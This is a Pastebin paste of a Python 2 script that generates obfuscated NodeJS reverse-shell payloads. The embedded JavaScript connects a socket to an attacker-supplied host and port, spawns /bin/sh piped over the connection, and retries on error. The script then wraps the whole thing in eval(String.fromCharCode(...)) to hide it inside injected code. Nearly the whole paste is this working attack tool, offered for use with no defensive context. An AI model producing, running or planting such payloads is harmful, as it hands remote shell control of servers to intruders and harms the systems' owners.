Advertisement
Guest User

Untitled

a guest
May 22nd, 2018
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Generator for encoded NodeJS reverse shells
  3. # Based on the NodeJS reverse shell by Evilpacket
  4. # https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
  5. # Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
  6. # Insecurety Research (2013) - insecurety.net
  7. import sys
  8.  
  9. if len(sys.argv) != 3:
  10. print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
  11. sys.exit(0)
  12.  
  13. IP_ADDR = sys.argv[1]
  14. PORT = sys.argv[2]
  15.  
  16.  
  17. def charencode(string):
  18. """String.CharCode"""
  19. encoded = ''
  20. for char in string:
  21. encoded = encoded + "," + str(ord(char))
  22. return encoded[1:]
  23.  
  24. print "[+] LHOST = %s" % (IP_ADDR)
  25. print "[+] LPORT = %s" % (PORT)
  26. NODEJS_REV_SHELL = '''
  27. var net = require('net');
  28. var spawn = require('child_process').spawn;
  29. HOST="%s";
  30. PORT="%s";
  31. TIMEOUT="5000";
  32. if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
  33. function c(HOST,PORT) {
  34. var client = new net.Socket();
  35. client.connect(PORT, HOST, function() {
  36. var sh = spawn('/bin/sh',[]);
  37. client.write("Connected!\\n");
  38. client.pipe(sh.stdin);
  39. sh.stdout.pipe(client);
  40. sh.stderr.pipe(client);
  41. sh.on('exit',function(code,signal){
  42. client.end("Disconnected!\\n");
  43. });
  44. });
  45. client.on('error', function(e) {
  46. setTimeout(c(HOST,PORT), TIMEOUT);
  47. });
  48. }
  49. c(HOST,PORT);
  50. ''' % (IP_ADDR, PORT)
  51. print "[+] Encoding"
  52. PAYLOAD = charencode(NODEJS_REV_SHELL)
  53. print "eval(String.fromCharCode(%s))" % (PAYLOAD)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement